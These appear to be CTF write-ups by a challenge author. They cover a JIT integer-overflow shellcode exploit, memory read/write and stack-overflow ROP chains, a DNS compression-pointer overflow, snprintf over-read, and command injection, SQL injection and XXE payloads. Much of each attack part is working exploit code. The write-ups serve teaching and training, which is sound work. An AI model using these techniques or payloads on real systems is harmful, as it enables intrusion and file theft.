rugdoctor, which is a JIT compiler with a 16-bit
integer overflow. The integer overflow allows you to jump to the middle of
other instructions, to run small bits of code in between other instructions.
As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!
I made a simple BASIC-like language that looks sorta like this:
let $a 10
loop $a
let $b 10
subv $b $a
add $b 1
print $b
endloop
exit 0
or:
let $b 3
loop $b
let $a 72
printchar $a
let $a 101
printchar $a
let $a 108
printchar $a
let $a 108
printchar $a
let $a 111
printchar $a
let $a 32
printchar $a
let $a 87
printchar $a
let $a 111
printchar $a
let $a 114
printchar $a
let $a 108
printchar $a
let $a 100
printchar $a
let $a 10
printchar $a
endloop
exit 0
Your code has access to four variables: $A, $B, $C, and $D.
And the instructions are:
LET $VAR <int32> - assign an immediate value to a variableLETV $VAR1 $VAR2 - copy a variable to another variableADD $VAR <int32> - add an immediate value to a variableADDV $VAR1 $VAR2 - add two variables together (result is stored in $VAR1)SUB $VAR <int32> - subtract an immediate value from a variableSUBV $VAR1 $VAR2 - subtract $VAR2 from $VAR1 (result is stored in $VAR1)MUL $VAR <int32> - multiply a variable by an immediate valuePRINT $VAR - print the variable (as a number)PRINTCHAR $VAR - print the variable (as a character)LOOP $VAR ... ENDLOOP - loop $VAR times, deducting 1 from $VAR each iteration (always executes once)IF $VAR ... ENDIF - only run the given block if $VAR is non-zeroEXIT <int32> - exit with an immediate value as the exit codeThe instructions are converted to amd64 code using a big switch statement:
switch(command.keyword) {
case COMMAND_COMMENT:
break;
case COMMAND_LET:
// mov <reg>, <immediate>
add_u8(&state, 0x41);
add_u8(&state, 0xbc | reg_mask(&state, command.args.args_let.variable));
add_u32(&state, command.args.args_let.immediate);
break;
case COMMAND_LETV:
// mov <reg>, <immediate>
add_u8(&state, 0x4d);
add_u8(&state, 0x89);
add_u8(&state, 0xe4 |
(reg_mask(&state, command.args.args_letv.variable2) << 3)
| (reg_mask(&state, command.args.args_letv.variable1))
);
break;
case COMMAND_ADD:
add_u8(&state, 0x49);
add_u8(&state, 0x81);
add_u8(&state, 0xc4 | (reg_mask(&state, command.args.args_add.variable)));
add_u32(&state, command.args.args_add.immediate);
break;
case COMMAND_ADDV:
add_u8(&state, 0x4d);
add_u8(&state, 0x01);
add_u8(&state, 0xe4 |
(reg_mask(&state, command.args.args_addv.variable2) << 3)
| (reg_mask(&state, command.args.args_addv.variable1))
);
break;
// .........
The issue is in the if and loop operations:
case COMMAND_ENDIF:
if(state.in_if == 0) {
error(&state, "ENDIF without IF!");
}
state.in_if -= 1;
// Update the start of the if
int32_t if_jump = ((uint16_t)state.code_offset - (uint16_t)state.if_address[state.in_if] - 4);
memcpy(state.code_buffer + state.if_address[state.in_if], &if_jump, 4);
break;
By casting the jump to uint16_t, any jump longer than 65,536 bytes will wrap
around and jump to the wrong place.
The trick is, that place might be in the middle of another instruction
Also, importantly, those instructions are executable because it’s JIT code.
I used a series of ADD instructions, since they permit a free-form 32-bit
immediate:
case COMMAND_ADD:
add_u8(&state, 0x49);
add_u8(&state, 0x81);
add_u8(&state, 0xc4 | (reg_mask(&state, command.args.args_add.variable)));
add_u32(&state, command.args.args_add.immediate);
break;
I set up the broken jump such that it jumps into the immediate of the first
ADD instruction. Then I use a series of 2-byte instructions followed by a very
short jump (eb03 which means “jump 3 bytes ahead”) to reach the next
instruction:
adds.concat([
# Padding
"\xcc\xcc", # This is jusssst skipped but required
# Set rdi to 0 (to allocate memory anywhere)
"\x6a\x00", # push 0
"\x5f\x90", # pop rdi / nop
# Set rsi to 1 (length - min size is a page, so it'll get rounded way up)
"\x6a\x01", # push 1
"\x5e\x90", # pop rsi
# Set rdx to 7 (prot = read | write | exec)
"\x6a\x07", # push 7
"\x5a\x90", # pop rdx
# Set r10 to 0x22 (flags = MAP_PRIVATE | MAP_ANONYMOUS)
"\x6a\x22", # push 0x22
"\x41\x5a", # pop r10
# Set r8 to -1 (fd)
"\x6a\xff", # push -1
"\x41\x58", # pop r8
# Set r9 to 0 (offset)
"\x6a\x00", # push 0
"\x41\x59", # pop r9
# Set rax to 9 (the sys_mmap number)
"\x6a\x09", # push 9
"\x58\x90", # pop rax
# syscall
"\x0f\x05",
# This map adds a `jmp $+3` after each instruction, which jumps to the next
].map { |c| "#{ c }\xeb\x03".unpack('V').pop })
That uses a syscall to allocate some memory and return it in rax.
Populating the memory with shellcode was a bit trickier.
We back up rax in a different register:
# This code preserves that buffer by storing it in rbx
adds << "\x50\x5b\xeb\x03".unpack('V').pop # push rax / pop rbx
Then for each byte of shellcode, we use a sorta complex write to write it to
memory. The problem is that I couldn’t find a way to do that in 2 bytes, so
I had to use 3 bytes. That means that I couldn’t use eb03 for the jumps, I had
to use much longer jumps (specifically, 49 bytes).
SHELLCODE.chars.each do |c|
# This instruction is 3 characters! That means we don't cleanly control the
# jmp and are stuck jmp'ing the distance of the next instruction (which,
# thankfully, hits code we control!)
# mov byte ptr [rax], c / jmp $+49
adds << "\xc6\x00#{ c }\xeb".unpack('V').pop
# This code is jumped over
adds.concat([1] * 10)
# The jmp $+49 hits the second byte of this, so we do a NOP and then our
# standard jump $+3
adds << "\x00\x90\xeb\x03".unpack('V').pop # <-- this runs, starting at the second byte
# This increments al - incrementing rax is too long, and incrementing eax
# breaks the pointer
#
# We know that mmap() will always return page-aligned memory, so it's safe to
# do this up to 255 times
adds << "\xfe\xc0\xeb\x03".unpack('V').pop
end
The 49-byte jump runs into the second byte of the 11th jump instruction.
Fortunately, we can use \x90 (nop), then \xeb\x03 to get back to the start
of a jump instruction. Then we increment al and do it again.
That creates a massive amount of code, but it works!
Finally, at the end, we call rbx (which is where we stored the rax starting
pointer):
# Finally, call rbx to give execution to our code
adds << "\xff\xd3\xeb\x03".unpack('V').pop
Then add enough extra ADD instructions to hit the overflow we want:
# This adds enough junk to the end to cause the overflow
adds.concat([1] * (NEEDED_ADDS - adds.length))
Then build the BASIC-like code:
# Build the code
code = <<~CODE
let $b 0
# This 'if' jumps too far, and ends up in the middle of an instruction
if $b
#{ adds.map { |add| " add $c #{ add }\n" }.join }
endif
exit 0
CODE
The resulting code sorta looks like:
let $b 0
# This 'if' jumps too far, and ends up in the middle of an instruction
if $b
add $c 1
add $c 1
add $c 1
add $c 1
add $c 1
add $c 1
add $c 1
add $c 65785036
add $c 65732714
add $c 65769567
add $c 65732970
add $c 65769566
add $c 65734506
# .............
add $c 1
add $c 1
add $c 1
add $c 1
add $c 1
add $c 1
add $c 65769472
add $c 65782014
add $c 3947364550
add $c 1
add $c 1
add $c 1
# ............
add $c 1
add $c 1
add $c 1
add $c 1
endif
exit 0
Which successfully runs any arbitrary shellcode!
]]>readwritecallme,
readwriteme, readme. They’re all pretty straight forward, and designed to
teach a specific exploit type: how to exploit an arbitrary memory write.
All three challenges let you read arbitrary memory, and the first two additionally
let you write to arbitrary memory. The final one (readme) only lets you read
memory, but it has a buffer overflow that lets you take control.
Technically, all three can be solved with the readme solution, but I’ll go
over my intended solutions for all three, since I think it’s helpful.
As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!
readwritecallmereadwritecallme has:
libc.so + the binarysecret_function exists that will print the flag if calledThe goal was basically to call the function.
There might be other solutions, but this is mine:
Use the PLT (a section of the readwritecallme binary, which is always loaded
to the same place) to get the address of strtol in libc:
# These read the binary to find the expected addresses in the binary + libc
puts "Finding libc base using strtol()..."
plt_symbol_addr = get_plt_entry(FILE_READWRITECALLME, 'strtol')
libc_symbol_addr = get_symbol(FILE_LIBC, 'strtol')
# Read the address from memory
puts " * Reading address of 'strtol' from the PLT..."
symbol_addr = read_uint64(plt_symbol_addr)
puts " * 'strtol' is @ 0x%x" % symbol_addr
# Do some math to find the start
puts ' * Rewinding to the start of libc...'
base = symbol_addr - libc_symbol_addr
puts ' * libc starts @ 0x%x!' % base
# Sanity check
if (base % 0x1000) != 0
raise " The libc address isn't on a page boundary, I think there's a file mismatch..."
end
Next, I used the __environ symbol to leak a stack address
puts "Finding stack-based return address via libc's __environ symbol..."
environ = get_symbol(FILE_LIBC, '__environ') + @libc
puts ' * __environ is @ 0x%x' % environ
environ_target = read_uint64(environ)
puts ' * Stack address __environ points to = 0x%x' % environ_target
Then walk backwards up the stack to find the return address (this could be hardcoded, but because I was changing code as I developed I made it more generic).
Basically, I start 1024 bytes past the point that __environ points to. I read
8 bytes at a time, and look for an address that’s plausibly in the libc
library (in the startup function).
If it’s plausibly in libc, I look for the call rax line (to confirm that it’s
actually the right line).
Here’s the code that finds the return address on the stack:
CALL_MAIN = [
"\xff\xd0", # Docker
"\xff\x55\x88", # Laptop
]
# ...
# Search for the return address by looking for something that looks roughly
# like the right value (for speed), then following it and seeing if there's
# a call right before
#
# (This is a bit more complicated because we only want to call read() once,
# otherwise it's way slow)
read(environ_target - 1024, 1024).unpack('Q*').each_with_index do |test, i|
# Ignore values that are way off
if test < @libc
next
end
if (test - @libc > 0x100000)
next
end
puts ' * Plausible return address @ offset 0x%x' % (test - @libc)
# Check if it actually returns to somewhere that looks right
if CALL_MAIN.any? { |m| read(test - m.length, m.length) == m }
# Do the math to figure out where what the offset into the stack was
return_address = environ_target - 1024 + (i * 8)
puts ' * It works! Return address is @ 0x%x' % return_address
return return_address
end
end
Once we have the return address, we can simply overwrite it to point at
secret_function using the “write memory” function:
def solve_by_calling_secret_function
puts
puts 'Solving by calling Secret Function (level 1)'
secret_function = get_symbol(FILE_READWRITECALLME, 'secret_function')
puts ' * Changing return address (0x%x) to instead call secret_function() (0x%x)' % [@ret, secret_function]
write(@ret, [secret_function].pack('Q'))
_have_we_solved_it?()
end
The _have_we_solved_it? function is used for all three parts, and just causes
the service to exit by sending something invalid (I use the literal exit string,
but that’s not special):
def _have_we_solved_it?
# This will cause it to exit
puts " * Triggering the server's exit code to trigger the vuln"
@s.puts 'exit'
# Read from the socket till it closes
Timeout.timeout(10) do
data = ''
loop do
new_data = @s.gets
if new_data.nil?
check_flag(data)
return
end
data += new_data
end
end
end
read vs freadWhile doing final testing, I had a weird bug: the challenge worked fine on my normal internet connection but failed when I was on Tailscale. It was very odd!
I tracked it down to this server code:
if(!fgets(rw, STR_SIZE, stdin))
break;
// ...
if(!fgets(offset_str, STR_SIZE, stdin))
break;
// ...
if(!fgets(size_str, STR_SIZE, stdin))
break;
// ...
offset = (uint8_t*)strtoll(offset_str, NULL, 16);
size = (uint32_t*)strtol(size_str, NULL, 16);
// ...
data = read(stdin, offset, size);
Called by this, in my solution:
def write(addr, data)
@s.puts('w')
@s.puts('%x' % addr)
@s.puts('%x' % data.length)
sleep(0.1)
@s.write(data)
end
Sometimes, the data wasn’t being fully sent!
It turns out that fgets can read past the newline (\n), and the rest of the
data is stored in an internal buffer; that means that while the f* functions
can access it (fgets, fgets, fread, etc), the low-level functions (read /
write) can no longer access it.
On my normal network connection, sleep(0.1) was enough to prevent the length
and data from getting bundled together; on Tailscale, it was not.
I fixed it by changing from read to fread, and then failed to deploy the
new versions until people complained it wasn’t working! Whoops!
readwritemereadwriteme is essentially the same codebase, but I removed secret_function.
The first part of the solution is identical - I use the same primitives to leak a libc address and then the return address.
Once I have the return address, I write the path to the flag -
/home/ctf/flag.txt - to a random spot on the stack way far away from the
other data:
puts 'Solving by writing to memory (level 2)'
empty_memory = @ret - 0x10000
puts ' * Writing the flag path to random stack memory @ 0x%x' % empty_memory
write(empty_memory, "/home/ctf/flag.txt\0")
Then we build a ROP chain:
puts ' * Building a ROP chain'
rop_chain = [
### open()
@libc + POP_RDI_RET, empty_memory, # Filename
@libc + POP_RSI_RET, 0, # Flags
@libc + POP_RDX_RET, 0, # mode
@libc + get_symbol(FILE_LIBC, 'open'),
### read()
@libc + POP_RDI_RET, 5, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'read'),
### write()
@libc + POP_RDI_RET, 1, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'write'),
### exit()
@libc + POP_RDI_RET, 69, # code
@libc + get_symbol(FILE_LIBC, 'exit')
].pack('Q*')
puts ' * Writing the ROP chain starting at the return address, 0x%x' % @ret
write(@ret, rop_chain)
# Make sure we're done
_have_we_solved_it?()
The ROP chain opens, reads, and writes the file to stdout, then calls exit.
readmeThe final challenge is readme, and the trick is that it no longer has a
write function. You now have to exploit a stack buffer overflow (that’s always
been present) to get code execution.
To solve this generically (so I could recompile my code and not break my solution), I do a little search to figure out how far the buffer is from the return address (ie, how many bytes to overwrite):
def _find_exploit_offset()
puts " * Filling 'data' buffer with random garbage so we can find it on the stack"
# Use read_h to fill the "data" buffer with random junk
data = [read_h(@libc + 1000, 100)].pack('H*')
puts ' * Reading stack before the return address to find it...'
read_memory = read(@ret - 1000, 1000)
index = read_memory.index(data)
if index.nil?
raise "Didn't find exploit offset :("
end
return 1000 - index
Then we build a very similar ROP chain, except that this time we need to include the filename since we can’t write to arbitrary memory anymore:
# Build our ROP chain
puts ' * Building a ROP chain'
rop_chain = [
### open()
@libc + POP_RDI_RET, 0x5a5a5a5a5a5a5a5a, # Filename (will be updated)
@libc + POP_RSI_RET, 0, # Flags
@libc + POP_RDX_RET, 0, # mode
@libc + get_symbol(FILE_LIBC, 'open'),
### read()
@libc + POP_RDI_RET, 5, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'read'),
### write()
@libc + POP_RDI_RET, 1, # Handle
@libc + POP_RSI_RET, empty_memory + 100, # Buffer
@libc + POP_RDX_RET, 100, # Length
@libc + get_symbol(FILE_LIBC, 'write'),
### exit()
@libc + POP_RDI_RET, 69, # code
@libc + get_symbol(FILE_LIBC, 'exit')
].pack('Q*')
# Add the FLAG_FILE to the end
rop_chain += "#{ FLAG_FILE }\0"
Then do some math to get the actual flag filename address:
# Calculate the actual address of the flag filename + update in the rop
# chain
flag_ptr = @ret + rop_chain.length - FLAG_FILE.length - 1
rop_chain = rop_chain.gsub(/ZZZZZZZZ/, [flag_ptr].pack('Q'))
puts ' * Calculated the offset of the flag path in memory: 0x%x' % flag_ptr
Because the stack overflow is from “read”ing memory, the solution requires us to find existing bytes to build the ROP chain. We build a “library” of existing bytes by reading a chunk of libc:
puts " * Reading a chunk of memory that we're gonna build our exploit from"
data_buffer = read(@libc, 0x10000)
Then set up a whole buncha reads - but this doesn’t actually send them yet! For speed, this will do all the reads simultaneously instead of having a back-and-forth for every byte:
(rop_chain.length - 1).step(0, -1) do |i|
# Get the character
c = rop_chain[i]
# This is how far into the libc buffer it is
offset_into_libc = data_buffer.index(c)
if offset_into_libc.nil?
raise "Couldn't find character: 0x%02x" % c.ord
end
offset_to_write = exploit_to_ret + i + 1
# puts "Writing 0x%02x to offset <data> + %d" % [c.ord, offset_to_write]
read_h_caching(@libc + offset_into_libc - (offset_to_write - 1), offset_to_write)
end
This will send alllllll the exploit code at once:
puts ' * Triggering the exploit!'
read_h_go()
And then we check if it’s solved, as usual!
# Did we win?
_have_we_solved_it?()
As always, you can find copies of the binaries, containers, and full solution in our GitHub repo!
The important thing to realize is that DNS has a weird feature called
“compression”. What that means is, a part of a DNS name in a DNS packet can
contain a reference to another name. So if you query example.org, you send
this request:
00000000 00 16 01 00 00 01 00 00 00 00 00 00 07 65 78 61 ........ .....exa
00000010 6d 70 6c 65 03 6f 72 67 00 00 01 00 01 mple.org .....
DNS requests are pretty straight forward:
0x0016 - transaction id (random)0x0100 - flags0x0001 / 0x0000 / 0x0000 / 0x0000 - one question is coming, and no answers/other records\x07example\x03org\x00 - example.org, encoded with one-byte length prefixes instead of periods0x0001 / 0x0001 - A record / INternet (or the other way around, I always forget)The response is pretty similar:
00000000 00 16 81 80 00 01 00 02 00 00 00 00 07 65 78 61 ........ .....exa
00000010 6d 70 6c 65 03 6f 72 67 00 00 01 00 01 c0 0c 00 mple.org ........
00000020 01 00 01 00 00 00 89 00 04 68 12 03 18 c0 0c 00 ........ .h......
00000030 01 00 01 00 00 00 89 00 04 68 12 02 18 ........ .h...
The transaction and flags are the same.
The numbers of records is different: 0x0001 / 0x0002 / 0x0000 / 0x0000
means there is one question and TWO answers now. The important takeaway is that
the response repeats the question back.
The question starts at 0x0c - \x07example\x03org\x00.
The first answer (after the 0x0001 / 0x0001) starts with 0xc00c. That’s
gonna be the key!
0xc... means “look elsewhere in the packet”, and 0x.00c means “look at
offset 0x0c” - ie, the previous time example.org was used.
Basically, DNS packets have a feature that lets you look elsewhere in the packet.
Instead of 0xc00c, you can do 0xc015 and it’ll reference .org.
NORMALLY, you don’t see this sorta compression in client-to-server messages, because they typically only carry a single question, but in MY server it’s allowed!
The client reads up to 1024 bytes from the UDP socket:
ssize_t size = read(fileno(stdin), buffer->buffer, BUFFER_SIZE);
When names are read, they’re copied into a stack buffer:
buffer->stored_read_pointer = NULL;
for(label = *buffer->read_pointer++; label; label = *buffer->read_pointer++) {
// fprintf(stderr, "Label: 0x%02x (%d) @ %ld - %s\n", label, label, question_length, buffer->read_pointer - 1);
// Pointer label
if((label & 0xC0) == 0xC0) {
uint16_t ptr = 0x3FFF & ((label << 8) | *buffer->read_pointer++);
// fprintf(stderr, "Jumping to 0x%02x (%d)\n", ptr, ptr);
// If this is the first pointer, keep track of where we started
if(buffer->stored_read_pointer == NULL) {
buffer->stored_read_pointer = buffer->read_pointer;
}
buffer->read_pointer = buffer->buffer + ptr;
} else if(label > 0x7F) {
fprintf(stderr, "Illegal label: 0x%02x\n", label);
exit(1);
} else {
if((buffer->read_pointer + label) >= buffer->end) {
return 0;
}
memcpy(question.name + question_length, buffer->read_pointer, label);
buffer->read_pointer += label;
question_length += label;
// fprintf(stderr, "%p %ld\n", question.name, question_length);
question.name[question_length++] = '.';
question.name[question_length] = '\0';
}
}
The memcpy() is problematic, because it’s not checking bounds in a meaningful
way.
The trick is that the DNS question buffer is also 1024 bytes long:
typedef struct {
char name[BUFFER_SIZE];
uint16_t type;
uint16_t class;
} dns_question_t;
Which means you can’t really overflow the buffer……. or can you?
Obviously I wouldn’t have spent all that time talking about DNS compression earlier if it didn’t matter!
The trick is that compression can be used to kinda make a “spiral” of buffers to make a string that’s much, much longer than 1024 bytes!
Because of how DNS names are encoded, I had to do a bit of a weird ROP chain
to actually exploit this; occasionally we just need to “consume” bytes to avoid
hitting the . part of the name:
data1 = [
# ---- sys_read (to get the filename)
POP_RDI_RET, 0, # fd = stdin
POP_RSI_RET, EMPTY_MEMORY, # buffer
POP_RDX_POP_RBX_RET, 64, 0x13371337, # count / unused (for rbx)
POP_RAX_RET, 0, # 0 = sys_read
SYSCALL_RET, # sys_read()
# ---- sys_open
POP_RDI_RET, EMPTY_MEMORY, # pathname
# ...this gets us to data2...
POP_POP_POP_RET, 0x3131313131313131,
]
data2 = [
POP_RSI_RET, 0, # 0 = flags (O_RDONLY)
POP_RAX_RET, 2, # 2 = sys_open
SYSCALL_RET, # sys_open()
# ---- sys_read
POP_RDI_RET, 6, # fd = 6 (what it happens to be)
POP_RSI_RET, EMPTY_MEMORY, # buffer = random memory
POP_RDX_POP_RBX_RET, 64, 0x13371337, # count / unused (for rbx)
# ...this gets us to data3...
POP_POP_POP_RET, 0x3232323232323232,
]
data3 = [
POP_RAX_RET, 0, # 0 - sys_read
SYSCALL_RET, # sys_read()
# ---- sys_write
POP_RDI_RET, 1, # fd = 1 = stdout
POP_RSI_RET, EMPTY_MEMORY, # rsi = buffer
POP_RDX_POP_RBX_RET, 64, 0x13371337, # count + unused (for rbx)
POP_RAX_RET, 1, # 1 = sys_write
SYSCALL_RET, # sys_write()
Then I encode those into questions (see the comment for more details):
# Encode the questions
#
# The \x78 is the real length of the question/segment - it correctly jumps to
# the \x00 at the end
#
# The \xc0\x0d is a "compression pointer" that pointers to the second byte of
# the first question (\x7D), which points to the same byte in the next question,
# and so on to the bottom
#
# The \x36AAAAAA... sequence is to slightly adjust the length to optimize how
# much ROP data we get
#
# The \xc0\x0e is another compression pointer; this one goes to the second \x7D
# in the first question, which jumps to the \x7d in the remaining questions
# until it hits the \x00 end ends. Starting around the end of the first question
# (on the third time through), it overflows the stack. The third time visiting
# the third question is where the return address lands (hence data1). From
# there, it's just some standard ROP code (except that we have to deal with
# limited lengths)
questions = [
encode_question("\x78\x7D\x7Dxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxabcdefgh\x00"),
encode_question("\x78\x7D\x7D#{ data1.pack('Q*') }OOOOOO\x00"),
encode_question("\x78\x7D\x7Dab#{ data2.pack('Q*') }CCCC\x00"),
encode_question("\x78\x7D\x7Daaaa#{ data3.pack('Q*') }xxxxxxxxxx\x00"),
encode_question("\x78\x7D\x00EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\x00"),
encode_question("\x78\x7DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\x00"),
encode_question("\x78\x7EGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG\x00"),
encode_question("\xc0\x0d\x36AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc0\x0e")
]
Then I make it into a query:
# Send a basic query
s.send([
0x1234,
0x0120,
questions.length,
0x0000,
0x0000,
0x0000,
].pack('nnnnnn') + questions.join, 0)
And that’s that!
]]>if-it-leadsgitfabjengacryptAs always, you can find copies of the binaries, containers, and full solution in our GitHub repo!
if-it-leadsI wanted to do a Citrixbleed-style challenge ever since the vulnerability came out, and this is it!
The TL;DR behind Citrixbleed2 (CVE-2023-4966) (and also this challenge) is that snprintf has
a surprising behavior: it doesn’t return the number of bytes it wrote, it returns
the number of bytes it wanted to write. So if it tries to write more than
the length value, it’ll return a different size than what was actually
written.
The specifically problematic line is:
fprintf(stderr, "Release year? --> ");
int year;
if(scanf("%d", &year) != 1) {
fprintf(stderr, "Invalid year!\n");
exit(1);
}
offset += snprintf(idv3 + offset, 5, "%04d", year);
while(getchar() != '\n') {} // discard rest of line
An integer can be up to 11 characters long (counting the - for negative
numbers). Even though we use the format specifier %04d, the user can enter
up to 11 characters, and instead of the offset increasing by 4 bytes (like it
looks like it’s supposed to), it increases by up to 11. That means that you can
read about 6 bytes past the end of the buffer.
It just so happens - not coincidentally - that that’s where the secret password lies.
I didn’t love using a secret password in addition to the flag, but I only had
about 6 characters and by the time we have the CTF{...} part of the flag,
we didn’t have any space left.
Making it a 64-bit integer or a string would have made the challenge too obvious, in my opinion.
gitfabI had this idea, “I’ll implement that vulnerability from GitLab and call it ‘Git Fab’!”. That seemed fun. Then I finished the challenge and looked up the reference and realized it was Bit Bucket (CVE-2022-36804), not GitLab. Oops :)
In any case, I mostly just told AI to write a git viewer and make sure it wasn’t vulnerable to command injection. Then I took the output and found the command injection issue (which is what I expected - nobody remembers to check for newlines in shell commands!)
There are definitely other solutions, but I used a newline and command injection:
response = HTTParty.get("#{ base_url }/file/test%22%0acat%20/home/ctf/flag.txt%0aecho%20%22")
I’m pretty sure you can also just add a space and another argument to the URL as well, to view a second file; this wasn’t supposed to be a hard challenge!
jengacryptThis was a cryptosystem I thought up in a fever dream (when I fell asleep watching some cartoon about Jenga).
It’s a bit-wise cryptosystem where the key tells you what to do with the first 3 bits of the plaintext: either move the second bit to the end or the first and third bits. Just like Jenga, get it??
Here’s the encryption code, in C:
void encrypt_bits(uint8_t *data, int64_t data_length, uint8_t *key, int64_t key_length) {
int64_t i;
uint64_t end = ((data_length - 1) / 3) * 3;
uint64_t key_bit = 0;
for(i = 0; i < end;) {
uint8_t bit = get_bit_from_array((uint8_t*)key, key_length, key_bit);
// We work in groups of three bits
// If it's a 0, move the middle bit of the three to the "top"
// If it's a 1, move the first and third bit
// fprintf(stderr, "(%2d) %d: ", i, bit);
if(bit == 1) {
// fprintf(stderr, "(%2d) |%d | ", key_bit, i + 1);
move_bit_to_end(data, i + 1, data_length);
i += 2;
} else {
// fprintf(stderr, "(%2d) |%d %d| ", key_bit, i, i + 2);
move_bit_to_end(data, i + 0, data_length);
move_bit_to_end(data, i + 1, data_length);
i += 1;
}
key_bit++;
// fprintf(stderr, "\n");
}
// fprintf(stderr, "After: ");
// print_bits_array(data, data_length);
}
And here’s the C decryption code (that wasn’t included).. it’s not super nice, but it works:
void decrypt_bits(uint8_t *data, int64_t data_length, uint8_t *key, int64_t key_length) {
int64_t i;
// Calculate the starting key_bit and offset
uint64_t end = ((data_length - 1) / 3) * 3;
uint64_t key_bit = 0;
uint64_t start;
for(i = 0; i < end;) {
uint8_t bit = get_bit_from_array((uint8_t*)key, key_length, key_bit++);
if(bit == 1) {
start = i;
i += 2;
} else {
start = i;
i += 1;
}
}
key_bit--; // We go one too far
// Round down to the nearest multiple of 3
// fprintf(stderr, "Length = %2d\n", data_length);
for(i = start; i >= 0; ) {
uint8_t bit = get_bit_from_array((uint8_t*)key, key_length, key_bit);
// We work in groups of three bits
// If it's a 0, move the middle bit of the three to the "top"
// If it's a 1, move the first and third bit
// fprintf(stderr, "(%2d) %2d: ", i, bit);
if(bit == 1) {
// fprintf(stderr, "(%2d) |%d/%c| ", key_bit, i + 1, data[data_length - 1]);
// fprintf(stderr, " %s", data);
move_bit_from_end(data, i + 1, data_length);
} else {
// fprintf(stderr, "(%2d) |%d/%c %d/%c|", key_bit, i + 2, data[data_length - 1], i + 0, data[data_length - 2]);
// fprintf(stderr, " %s", data);
move_bit_from_end(data, i + 1, data_length);
move_bit_from_end(data, i, data_length);
}
key_bit--;
uint8_t last_bit = get_bit_from_array((uint8_t*)key, key_length, key_bit);
if(last_bit == 1) {
i -= 2;
} else {
i -= 1;
}
// fprintf(stderr, " -> %s\n", data);
// fprintf(stderr, "%s\n", data);
}
}
And that’s it!
]]>As usual, you can find the code and complete solutions on our GitHub repo!
your-browser-hates-youFor this challenge, I created an SSL server with a certificate, then changed parts of the cert until the browser stopped being able to display it. That’s it!
My original idea was supposed to use a self-signed cert and HSTS to block access, but I couldn’t get that to work how I wanted.
The solution it to use something that doesn’t validate certs, like curl -k:
$ curl -k 'https://your-browser-hates-you-4a61071d.challenges.bsidessf.net/'
[...]
<p><font color="blue">Flag: CTF{shh-its-a-secret}</font></p>
goto-zeroThis challenge was a bit of a treat for people that read my blog, because I already published a write-up.
I basically took that challenge, and made it work as a terminal challenge, rather than remote, so the user can find their own libc functions without me giving it to them.
Other than that, and some offsets changing, the solution is pretty much the same!
obscuratronObscuratron is supposed to be a dirt-easy reversing challenge. Each character in the file is xored with the previous character, starting with a seed value.
The source code:
int current_character = fgetc(stdin) ^ KEY;
int next_character;
putchar(current_character);
for(next_character = fgetc(stdin); next_character >= 0; current_character = next_character, next_character = fgetc(stdin)) {
next_character = current_character ^ next_character;
putchar(next_character);
}
And the solution:
key = 0xab
decrypted = (encrypted.bytes.map do |i|
decrypted = (i ^ key)
key = i
decrypted.chr
end).join
go-backgo-back is one of my favourites, it’s kind of a puzzle challenge! It’s based on a challenge on Smash the Stack’s io wargame from years ago, which doesn’t see to exist anymore.
The code is dirt simple, but doesn’t have any obvious issues:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void main(int argc, char *argv[])
{
FILE *f= fopen("flag.txt", "r");
if(!f) {
printf("Couldn't open flag file!\n");
perror("fopen");
exit(1);
}
char flag[32];
fgets(flag, 32, f);
fclose(f);
if(argc != 2) {
printf("Oops!\n");
exit(1);
}
// no timing attacks!! seriously
usleep(rand() % 1000);
if(!strcmp(flag, argv[1])) {
printf("Yay!\n");
}
}
The issue is actually pretty nifty: since main() is a void function, the C compiler doesn’t care what it returns, so it just ignores the return value.
The OS, however, does about the return value, so it will look at whatever happens to be in rax (the register that typically carries a return value). Since main() doesn’t return anything, the behaviour is undefined (meaning the compiler washes its hands of it).
But what ends up happening is that the return value from the last function called - strcmp() - gets implicity returned, and the exit code for the process is the last byte of the exit code for strcmp(). Based on that exit code, you can recreate the flag string one character at a time.
Neat!
]]>I’m not going to spend a ton of time on them, I’ll just give the solutions quickly.
As usual, you can find the code and complete solutions on our GitHub repo!
And, if these are particularly interesting to you, come see me in Montreal!
hidden-reports (sqli login)Hidden-reports is classic SQL injection in a login form ' or '1'='1:
result = HTTParty.post(get_url(), body: { 'passphrase' => "test' or '1'='1" })
detector (shell injection)detector is shell command injection:
result = HTTParty.get("#{ get_url() }/detect-dragon.php?ip=1.2.3.4; cat /app/dragon-detector-ai;")
detector-2 (shell injection)detector-2 is a slightly different flavour of shell command injection:
result = HTTParty.get("#{ get_url() }/detect-dragon.php?ip=1.2.3.4$(cat /app/dragon-detector-ai)")
evidence (XXE)evidence is XML eXternal Entities - XXE:
XXE = <<~XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<dragons>
<dragon>
<name>Smaug</name>
<proof>&xxe;</proof>
</dragon>
</dragons>
XXE
EXPLOIT_FILE = File.join(__dir__, 'payload.xml')
File.write(EXPLOIT_FILE, XXE)
result = HTTParty.post(
get_url(),
body: {
